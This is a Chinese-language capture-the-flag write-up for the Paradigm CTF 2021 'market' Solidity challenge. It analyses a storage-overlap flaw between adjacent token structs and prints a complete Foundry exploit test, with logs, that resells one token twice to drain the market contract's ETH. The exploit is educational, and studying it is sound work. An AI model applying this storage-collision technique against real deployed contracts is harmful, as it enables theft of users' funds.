09.market
2024-04-29 17:29:18 # 19.Paradigm CTF 2021

market

分析

1.全局观

存储、业务逻辑、市场相分离,形成三个合约

  • EternalStorage.sol:存储合约,任何调用都需要在fallback中执行。有owner机制
  • Market.sol
    • CryptoCollectibles:业务逻辑合约,有owner机制,mint、转让、授权代币功能
    • CryptoCollectiblesMarket:市场合约,token的持有者可以在此合约买卖token,但是需要支付手续费。mint代币的钱、手续费都是放在市场合约,存储合约、业务逻辑合约都负责收钱。任何人都可以mint代币,并且卖出去的时候又收回钱,也就是说成本只有一点手续费而已。
  • Setup:初始化题目

2.任务

将市场合约的余额为0

1
2
3
function isSolved() external view returns (bool) {
return address(market).balance == 0;
}

3.详细分析

先来看资产和状态情况:

ETH 持币 授权 状态
Setup
市场合约 50 owner=Setup
业务逻辑合约 owner=Setup, minter[Setup,市场]
存储合约 owner=业务逻辑
随机地址1 0: ~5 ether
随机地址2 0: ~10 ether
随机地址3 0: ~15 ether
随机地址4 0: ~20 ether

如果能拿到四个随机地址的私钥,就可以卖出了,但是这行不通,并且市场合约中还残留了一些手续费。因此大方向应该是:清理合约的代币价值、清理合约手续费。

  • 存储合约的owner拥有最高权限,可以操作任何人的token,如果拿到这个权限则本题可迎刃而解。

    • 存储合约的owner是业务逻辑合约,但是他没有转让的逻辑,并且方法是写死的,因此没有方法可以让逻辑合约调用存储合约的转让所有权方法。同时也没有修改slot的方法。不可行。
    • 既然没办法让逻辑合约主动调用转让方法,那修改存储合约的owner只能靠修改slot了。我们发现存储合约的updateName(bytes32,bytes32)可以修改slot的内容(前提得你是一个token的所有者),但位置我们无法控制,其他方法也是类似。不可行。
    • 因此修改slot数据这条路也走不通。
  • 逻辑合约似乎写的无懈可击

  • 钱是存储在市场合约的,看看能不能直接拿走,也许买卖逻辑写的有问题

    1. 有很多题目的考点都是出在卖出这个方法,因为写得不严谨,导致可以卖多次或者可以凭空卖出。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      function sellCollectible(bytes32 tokenId) public payable {
      require(tokenPrices[tokenId] > 0, "sellCollectible/not-listed");

      (, address tokenOwner, address approved, ) = cryptoCollectibles.getTokenInfo(tokenId);
      require(msg.sender == tokenOwner, "sellCollectible/not-owner");
      // 卖之前需要approve给此合约
      require(approved == address(this), "sellCollectible/not-approved");

      cryptoCollectibles.transferFrom(tokenId, msg.sender, address(this));

      // 然后此合约转钱
      msg.sender.transfer(tokenPrices[tokenId]);
      }
    2. 从这个方法中我们可以发现,先查看这个代币是不是被挖出来过,如果是则用getTokenInfo()去到存储合约查看该token的信息,经过验证之后就转钱。这就涉及到了storage布局的问题了,如果我们修改storage就可以做了,但是从上面的分析可以知道我们无法直接凭空修改storage信息。

    3. 但是还有一种考点就是让两个结构体之间的storage分布重叠,这样也可以达到修改storage的目的。这道题的结构体有四个属性,并且token的所有者可以任意修改这四个属性。这就有操作空间了。

      1
      2
      3
      4
      5
      6
      struct TokenInfo {
      bytes32 displayName;
      address owner;
      address approved;
      address metadata;
      }
    4. 那么,如果我们mint一个自己的token,这样我们就可以操作storage了,但是怎么操作呢?两条路:

      • 多次卖出自己的token
      • 修改整个EVM的storage
    5. 由于我们的tokenId是随机的不可控,因此很说想修改哪个storage的内容就修改哪个,因此我们只能看看能不能多次卖出自己的token。我们可以修改自己的这四个属性的storage,范围属实很小。再次分析sellCollectible()看看有没有什么操作空间。

    6. 我们发现require(tokenPrices[tokenId] > 0, "sellCollectible/not-listed");仅仅检查是不是被挖过,然后就检查存储合约的storage布局。当我们修改了我们的token的四个属性之后,用另外一个没有mint过的tokenId直接去调用存储合约的方法,利用结构体重叠的方式,使得这个没有被mint过的token也变得有效,然后重复操作重叠的内容,使得原来我们有效的token可以重复卖出

从存储合约的逻辑中,我们可以看出,它是根据tokenId后面之后的内容判断一个token的所有者是谁,如果重叠了了之后,就可以修改一个token的所有者。我们将如下这么重叠,通过修改tokenId_0的approval和metadata属性会修改tokenId_1的所有者属性。

mint过有效的tokenId_0 未mint的tokenId_1
tokenId_0.name
tokenId_0.owner
tokenId_0.approval tokenId_1.name
tokenId_0.metadata tokenId_1.owner
tokenId_1.approval
tokenId_1.metadata

因此,我们有了具体的解决思路:

  1. mint一个有效的token,然后修改此token的四个属性
  2. 直接与存储合约交互,由于结构体重叠,使得原本没被mint过的token也有效
  3. 重复操作重叠部分的内容,使得我们可以重复卖出原本有效的token
  4. 因为有手续费的原因,我们需要额外的操作来处理残留的手续费

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.0;
pragma experimental ABIEncoderV2;

import "forge-std/Test.sol";
import "../../src/09.market/Setup.sol";

contract attackTest is Test {
Setup public level;

EternalStorageAPI public eternalStorage; // 存储
CryptoCollectibles public token; // 业务逻辑
CryptoCollectiblesMarket public market; // 市场

function setUp() public {
// 部署
payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4).transfer(100 ether);
vm.startBroadcast(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4));

level = new Setup{value: 50 ether}();
eternalStorage = level.eternalStorage();
token = level.token();
market = level.market();

vm.stopBroadcast();
}

function test_isComplete() public{
console.log("1.market init balance:",address(market).balance);
// 1.mint token0, 至少要稍微大于50ETH,因为后面要额外扣除原来50ETH剩下的手续费
/*
tokenId_0.name:token_0
tokenId_0.owner:address(this)
tokenId_0.approval:0 tokenId_1.name
tokenId_0.metadata:0 tokenId_1.owner
tokenId_1.approval
tokenId_1.metadata
*/
// market: 100ETH + 50ETH
bytes32 token_0 = market.mintCollectibleFor{value: 100 ether}(address(this));
console.log("2.market mint token0:",address(market).balance);

// 2.修改token_0.metadata, 让它等于address(this)
/*
tokenId_0.name:token_0
tokenId_0.owner:address(this)
tokenId_0.approval:0 tokenId_1.name
tokenId_0.metadata:address(this) tokenId_1.owner
tokenId_1.approval
tokenId_1.metadata
*/
// market: 100ETH + 50ETH
eternalStorage.updateMetadata(token_0, address(this));

// 3.approve token
/*
tokenId_0.name:token_0
tokenId_0.owner:address(this)
tokenId_0.approval:market tokenId_1.name
tokenId_0.metadata:address(this) tokenId_1.owner
tokenId_1.approval
tokenId_1.metadata
*/
// market: 100ETH + 50ETH
token.approve(token_0, address(market));

// 4.卖出该token_0, tokenId为token_0
/*
tokenId_0.name:token_0
tokenId_0.owner:market
tokenId_0.approval:0 tokenId_1.name
tokenId_0.metadata:address(this) tokenId_1.owner
tokenId_1.approval
tokenId_1.metadata
*/
// market: 100ETH's fee + 50ETH
console.log("3.market sell token0:",address(market).balance);
market.sellCollectible(token_0);

// 5.get token_1
/*
tokenId_0.name:token_0
tokenId_0.owner:market
tokenId_0.approval:0 tokenId_1.name
tokenId_0.metadata:address(this) tokenId_1.owner
tokenId_1.approval
tokenId_1.metadata
*/
// market: 100ETH's fee + 50ETH
bytes32 token_1 = bytes32(uint256(token_0)+2);

// 6.updateName->approval
/*
tokenId_0.name:token_0
tokenId_0.owner:market
tokenId_0.approval:0 tokenId_1.name:address(this)
tokenId_0.metadata:address(this) tokenId_1.owner
tokenId_1.approval
tokenId_1.metadata
*/
// 注意,这里tokenId_1是address,因此可以直接调用存储合约的更新名字方法
// market: 100ETH's fee + 50ETH
eternalStorage.updateName(token_1, bytes32(uint256(address(this))));

// 7.transferFrom
/*
tokenId_0.name:token_0
tokenId_0.owner:address(this)
tokenId_0.approval:0 tokenId_1.name:address(this)
tokenId_0.metadata:address(this) tokenId_1.owner
tokenId_1.approval
tokenId_1.metadata
*/
// 注意,tokenId_0的approval被重新赋值为address(this),因此我们有权转移
// market: 100ETH's fee + 50ETH
token.transferFrom(token_0, address(market), address(this));

// 8.将token_0再次卖出
/*
tokenId_0.name:token_0
tokenId_0.owner:address(this)
tokenId_0.approval:market tokenId_1.name:market
tokenId_0.metadata:address(this) tokenId_1.owner
tokenId_1.approval
tokenId_1.metadata
*/
// market: 100ETH's fee + 50ETH
token.approve(token_0, address(market));

// 计算:token0的价格
uint tokenPrice = uint256(100 ether) * 10000 / (10000 + 1000);
// 缺失的钱 = token0的价格 - market剩余的金额
// 为什么要算这个呢?因为我们可以再次取出token0,得到token0的价格,
// 但是market中并没有这么多余额,会报错,因此我们需要再次mint来存入一点钱,
// 使得market的余额刚好等于token0的价格,这样我们再次取出token0的时候,
// market就刚好没钱了
uint missingBalance = tokenPrice - address(market).balance;

//补偿缺少的ETH
/*
tokenId_0.name:token_0
tokenId_0.owner:address(this)
tokenId_0.approval:market tokenId_1.name:market
tokenId_0.metadata:address(this) tokenId_1.owner
tokenId_1.approval
tokenId_1.metadata
*/
// market: 100ETH's fee + 50ETH + missingBalance = token0's price
market.mintCollectible{value:missingBalance}();
console.log("4.market mint another token:",address(market).balance);
// sellAgain
/*
tokenId_0.name:token_0
tokenId_0.owner:address(this)
tokenId_0.approval:market tokenId_1.name:market
tokenId_0.metadata:address(this) tokenId_1.owner
tokenId_1.approval
tokenId_1.metadata
*/
// market: 0ETH
market.sellCollectible(token_0);
console.log("5.market after attack:",address(market).balance);

assertEq(level.isSolved(), true);

}

receive() external payable{} // 用于接收ETH

}
1
2
3
4
5
6
Logs:
1.market init balance: 50000000000000000000
2.market mint token0: 150000000000000000000
3.market sell token0: 150000000000000000000
4.market mint another token: 90909090909090909090
5.market after attack: 0